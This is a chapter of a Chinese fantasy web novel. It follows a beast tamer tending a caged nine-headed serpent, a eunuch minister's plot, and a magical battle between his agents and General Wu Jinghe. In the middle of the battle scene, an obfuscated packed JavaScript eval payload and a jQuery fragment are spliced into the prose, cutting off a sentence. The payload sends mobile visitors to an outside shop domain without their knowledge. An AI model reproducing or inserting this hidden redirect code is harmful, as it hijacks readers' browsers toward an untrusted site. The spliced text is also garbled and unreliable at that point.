七月流火,天气转凉,末夏之风拂过庭院。
长亭临水,飞檐轻巧,朱漆廊柱,亭内铺设锦缎坐褥,陈摆精致茶案。
一女子闲坐此处,膝间摊开一纸书卷,身畔伫立一名青衣之人,右臂以白布悬吊颈间,完好左手垂悬身侧,无声听候问询。
“泛彼柏舟,亦泛其流。耿耿不寐,如有隐忧……”
不远处一名少年迈步踏入亭中。她生得健硕挺拔,筋骨结实,粗布劲装衬出紧实流畅的躯体;腰间挂着银铃,头发草草束起,面容棱角分明;双目凌厉,手裹厚茧,一身未经雕琢的悍野气息。
女子因专心诵读,不曾注意到来人,直至清越的铃声流入耳畔,书卷骤然落下一道阴影,她方才抬头,既见来人,惊喜道:“非石,你来了!”
来人乃是驭兽师荀非石。
她向将手斜搭胸前,欠身行礼:“少主。”
一旁的青衫人道:“荀大人可是有所吩咐?”
荀非石瞟了他一眼,从怀中摸出一裹药包,随手一抛。
何奚接过:“谢大人。”
“时辰将近,早日康复。”
闻言,他抬头与人相视一眼,后者强压下眸中的阴鸷,不自在地别过头去。
宰父耀见此,一骨碌爬起了身,扯着她的衣袖问道:“非石,你要走了吗!”
驭兽师神情微怔,躬身抚了抚那女童发顶:“属下尚有要务待办,就不能在此继续陪您了。”
宰父耀面露遗憾,她们已经许久未曾见面了,父亲似乎有意无意地将二人分隔。经此一别,想来又要等上许多时日。
虽心中不舍,她还是毅然决然地点头:“我晓得了,你且去忙吧,待我念完了书就来寻你!”
荀非石收回手,退后数步,她转过身,留恋地望了女童一眼,十指不由自主收紧。最终,大踏步离去。
湖面荡起涟漪,亭下传来悠悠诵声。
“日居月诸,胡迭而微。心之忧矣,如匪浣衣……”
-
地底玄牢。
厚重牢门向内敞开,荀非石大步流星地跨入玄牢,两侧侍卫见她前来,侧身垂首,躬身让路。
灯火摇曳,身形印盖在石壁上,阴风穿行,将黑影拉得狭长,阴冷潮湿的监牢唯有足音回响。
她穿过一道道屏罩,腰间银铃发散幽光。潮湿阴冷的玄牢深处,石壁不断渗着冷露。她于牢杆前驻足,银铃因步伐突止而晃荡,碰出几声清响。
相柳盘踞在冰冷石地上,九首低垂,九对竖瞳黯淡无光。她并未展露凶相,没有嘶鸣示威,只是默默凝望来人。
荀非石从须弥芥子中掏出大鱼掷与她,大鱼灵气充沛,尚且活蹦乱跳,甫一透过栏杆,那狰狞的九首一哄而上,顷刻将之撕作碎片。
“近日会有所行动。”
荀非石只是通知,没有说多余的话。
她又在地上贴了一道符箓。
荀非石日日来地牢添食送水,相柳春秋已高,为经年累月的囹圄所削弱,倘无外食补给,恐无一战之力。侍卫看似对她毕恭毕敬,赤裸裸神识却将她监视得一览无遗。
荀非石原先并非宰父进的手下,她远在国西县城,隶属知县门下,却因知县觉察禁忌罹祸、遗子落入旁人手中而被迫服从。
宰父进知晓她心中逆反,是故派人将她监视。荀非石不知少主境况,忧心对方狗急跳墙,迫不得已,只是一味维持现状。
尽管她由衷希望相柳能破除封印将宰父氏族灭尽,奈何处处受人掣肘,连交谈都遭到限制。
即便是现在,相柳都不知晓这府中另一只洪荒异兽的存在。
那大妖吃完了鱼,九首盘曲着指向来人,吐露的蛇信殷红,凝望她的眼神似懂非懂。她诞生自上古,并不通晓今夕言语,却在十年间掌握了些许。
荀非石并未久驻,她轻道一声“保重”,旋即转身离开此处。
-
近来不太平。
宰父进频繁入宫面见太子,捏造证据,煽风点火,声称武京和手握重兵,久居海防,心怀叵测。既与镇海将军互为依仗,又有东海蛟龙寄居府邸,人妖勾结,暗藏不臣之心。
太子本就摇摆不定,日复一日的游说,真假难辨的密信,慢慢动摇本心。她不愿背负屠戮重臣的骂名,不肯颁发公开讨伐的诏令,于是允诺宰父进相机行事。
没有正统圣旨,便师出无名。然而太子默许他的行径,宰父进刻意向外散播消息,对外宣称领受东宫密令,他召集私兵与亲信,以“清君侧,诛逆臣”为名,将武京和界定为祸乱朝堂的叛臣。
宰父进原本计划催动兽潮大举侵袭滩涂,奈何蛟龙坐镇,四海水兽因畏惧鳞龙威信,便是秘术牵引,亦不敢成群进犯,筹划被迫落空。为分化敌军兵力,宰父进密会车骑将军,令其率兵牵制镇海将军,阻断后者与武京和彼此策应。
斥候火速传回情报:阉党集结大军,打着东宫旗号面向城北开进。
武京和看透算计,然而一旦应战,落入外人眼中,便是公然违抗君命。倘若束手就擒,人为刀俎,我为鱼肉,引颈受戮,更不符合她的作派。
她未见半分迟疑,当即下令迎击。
-
大战在即。
青芜原。
原野辽阔,横亘在内陆与海岸之间,一望无垠,碧草延绵。
烟尘自远方地平线上滚滚升腾,蹄声与甲胄碰撞之响由远及近。层层人马铺展于荒原南方,旌旗林立,刀枪映着天光。
中军大旗之下,大妖乘坐乌木车辇,指节抵腮,一言不发。辇下随行三名黑袍之人,身形各异。宰父进骑马立于车辇之前。
不多时,彼方尘雾再起。
武京和率领镇国大军进驻荒野北方。盾兵在前,长枪列阵,军号响彻旷野。她身着赤金战甲,手持沧澜战戟,戟刃凛冽,映泛银光。
武京和足踏马镫,策动战马缓步向前。褐马四蹄踏过丛生的野草,沙石碎溅,尘土飞扬。盔下目光沉静锐利,不彰自显。
两军相隔数百步,遥遥对峙,兵刃尚未相交,肃杀之气已然笼罩整片荒原。
旷野岑寂,唯有长风拂过野草簌簌作响。
宰父进抬手示意,身畔谋士策马出列,单人独骑向着对面军阵缓步前行。
副将正要上前应答,却被武京和伸手阻拦,后者亲自驱马向前数步。
谋士勒住缰绳,隔着一段距离拱手,声音随灵力传遍青芜原:“镇国大将军,东宫有令!武氏拥兵自重,私蓄外族蛟龙,心怀异志。宰父厷奉密诏兴师,但为清君侧,诛逆臣。若是阁下即刻卸甲归顺,尚可保全麾下将士性命。”
武京和攥握缰绳的手微微收紧,目光凛寒,越过谋士看向阉人,又望向那车辇。
“何谓逆臣?我等世代戍守疆土,从未有半分逾矩。所谓东宫密令,仅有宰父厷一面之言,并无太子明发谕旨。”
车辇之内,帷幔晃动,大妖静坐其间,面具覆脸,摩挲下颌,不动声色。
谋士面色不改,依旧循辞辩驳:“是非曲直,自有东宫评判。大将军执迷不悟,执意抗命,届时刀兵相向,生灵涂炭,所有祸端,皆由你一人承担!”
武京和怒目而视,骤然举臂,身后号角手蓄势待命。
“想要一战,我自当奉陪。只是它日尘埃落定,世人自会看清,这场战乱,究竟是谁一手挑起!”
谋士见劝说无果,勒马折身,疾驰回阵。
宰父进缓缓抬手,嘶声号令自口中传出,散进风里:“全军——列阵备战。”
令旗陡然扬起,刹那间,震天号角轰然鸣响。数万甲士齐声呐喊,马蹄踏碎荒草,尘雾冲天而起。长枪如密林般向前推进,骑兵自两翼奔出,势不可当,身先士卒。
武京和单手握住长戟,手臂乍然扬起。
“列阵迎敌!”
军令层层传递,盾兵齐齐上前,钢盾彼此相接,构筑连绵防线。弓手登前,弯弓搭箭,箭矢锋芒毕露,一往无前。
两军距离飞速拉近,术法凌空相撞。
火光四处飞溅,漫天流焰坠落荒野,不少将士为之重击,身上燃起熊熊火焰;狂风自四面八方席卷而来,呼啸嘶吼,搅动硝烟漫天;嶙峋岩石自地底蹿升而起,洞穿兵卒,扎穿马匹;大地震颤,岩层开裂,藤蔓破土而出,盘旋攀升,直指云天。
战场已是混乱一片。
武京和双腿猛夹马腹,战马扬蹄向前冲出数丈。漆黑长杆稳托臂间,锋刃映泛森然冷光。一身战甲映着娇阳,披风猎猎作响。
她乍然发力,沧澜战戟横空劈出,磅礴灵力顺着戟刃迸发,将迎面袭来的术法生生撕裂。
战甲沐着漫天星火,她策马奔腾,势如破竹,长戟锐不可挡,刃锋直指敌军首脑。
“你这阉竖,祸乱朝堂,罪不容诛!今日定要将你就地诛除!”
呼啸狂风席卷耳畔,宰父进牵着马鞭一动未动,唇角勾起讥讽笑容。
“大将军恐怕不能如愿以偿了。”
电光火石之间,车辇下方两名黑袍之人足下生风,顷刻闪身至他跟前。
漆黑外袍骤然消失不见,二人现身:一人眉目清隽,衣袖翻飞之间灵气悄然流转;一人貌容殀冶,体态风资绰约实则暗藏杀机;二人一左一右,同时出手,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832424|211352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
欲要截杀那策马奔腾的大将军。
飞旋纸页裹挟磅礴灵力暴射而来,滔天冥焰降落马蹄之下轰然炸开。
武京和双目一凛:“雕虫小技!”
战马前蹄骤然腾空,武京和足尖轻点马鞍,身形借力,腾空而起;凌空旋身,长戟一扫,金行灵力爆射而出。
庚金之气在即将触及青衫人的瞬间,后者身影虚化消失。玉面伶倌闪身至她身后,长袖舒展,水袖随风舞动,气流攀升,自左右两路合围,将四面八方封锁。
“大将军可不能因在下位卑而轻敌呐。”
青衫人骤然现身在她上方,伴随一声轻笑,一道纸页携着苍劲灵力,直指她颅顶。武京和长戟打转,柄头訇然拄地,一口金钟屏罩乍然显现。
纸页轰杀其上,钟声敲响,余音洪亮,冥焰如浪花拍溅,未待落地,便被荡漾而出的气场扫荡一空。余波未停,直将那玉面伶倌给掀飞了出去。
武京和足下发力,一跃而起,沧澜战戟附着雌厚金灵之气,长把一抡扫向居于上空的青衣之人。
青衫人忙不迭撕下纸页,青光乍现,瞬息挪移至地面。武京和自空中猛坠,戟刃金气翻涌,顺势劈向匍匐在地的玉面伶倌。
伊人感知凌厉杀机,身形如风,急忙侧身躲避。
戟锋未能击中肉身,滔天威势重击地面。刹那间,荒原沟壑纵横,层层开裂,地底矿藏受金灵之力牵引,兆钧金石破土攀升,岩层堆叠隆起,将万众敌军冲得七零八落。
旷野之上竟瞬间筑起一座嶙峋矿山!
宰父进见状不禁唏嘘:“大将军果真当之无愧。”
“现在求饶,晚了!”
武京和手中长戟打转一周,负于身后,身形一振,猛然暴冲向前。
居于半途,周遭气流陡然凝滞,以她为圆心,一股旋风急速盘旋聚拢。
几片泛黄纸页自半空飘落,下一瞬,幽幽冥火凭空引燃旋风,冥焰冲天而起,寒气逼人,寒息彻骨,寒意直透灵力根基。
狂风愈演愈烈,无数风刃盘转飞旋,接连撞击铠甲之上。武京和握紧战戟,庚金之气遍覆介胄,她自觉四肢僵硬,经络不通;竟逐步止息,顿住身形。
玉面伶倌见此,似是于心不忍,颇为怜悯道:“可惜了,一代英雌,就要殒命于此。”
狂风攻势愈发汹涌,铺天盖地呼啸而临。
千钧气弹接连撞击,铁皮豁敞之声沉闷响起;锋锐风刃接踵而至,深深嵌入肌肤血肉。血液顺着甲片缝隙汩汩流淌,渐渐结冰。
武京和一抡长杆,以血歃戟,白刃与猩血相接的瞬间,沧澜战戟金光大盛。
漆黑戟杆划破气流,天地间四散的金行灵气源源不断汇聚此地。手腕猛地朝下沉落,戟锋重重点向地面——以戟引灵!
“轰”的一声,庚金之力雌浑无比,顺着岩土向上蔓延,金光荡漾,钟声回响,整片区域被淡金色的灵光笼罩,庚金领域顷刻成型。
气流倏然滞涩,空间仿佛为无形的壁垒禁锢。盘旋呼啸的风刃渐渐迟滞,游走四方的罡气层层受阻,再难寸进一步。
青衫人见状暗道不妙,即刻闪身撤逃,下一秒,一道金戟暴冲而至,气贯长虹,直冲云天。
武京和周身七柄金戟环绕,甫一打出,又有金行灵力汇聚凝成,填补空缺。
青衫人在空中狼狈闪躲,他身负旧伤,速度不济,反应不过慢了一息,就为金戟洞穿肩臂。护体罩形同虚设,宛若琉璃炸碎一地。锐利戟刃将他牢牢钉住,借着冲势携人一道扶摇直上。
他牙关紧闭,竭尽全力燃起纸页,周遭景象骤然变换。青衫人现身车辇之前,而后一个踉跄,伏倒在了地上。
横穿躯体的金灵之戟渐渐化作粒子消散半空。车辇上的大妖淡淡瞥了他一眼。
一旁的玉面伶倌心神俱颤,他为领域所压制,不似青衫人般持有瞬移符箓,此刻手无缚鸡之力,唯有坐以待毙。
武京和解决了青衫人,转身面向彼方,手中挽着沧澜战戟,脚下奔涌庚金灵光,身形骤然前冲。长戟笔挺直刺,浩瀚灵气沿戟锋迸发,锐芒直指斯人心口。
眼见着利刃劈面而来,玉面伶倌惊恐万分,不由自主地闭上双眼。
千钧一发之际,一覆面之人现身前方,蓦然抬腕,徒手截下了那长戟。
滔天金气携浩荡劲风扑面而来,直将来人那发间翎羽猎猎吹起。待罡风散去,尘埃落定,却见本该横绝天地的沧澜战戟,此刻却卡在斯人五指之间,再难寸进一步。
远处观战已久的宰父进悠悠鼓掌上前:“真不愧为东瀛第一大将,两个八阶修士当前,竟是未能阻拦你分毫。”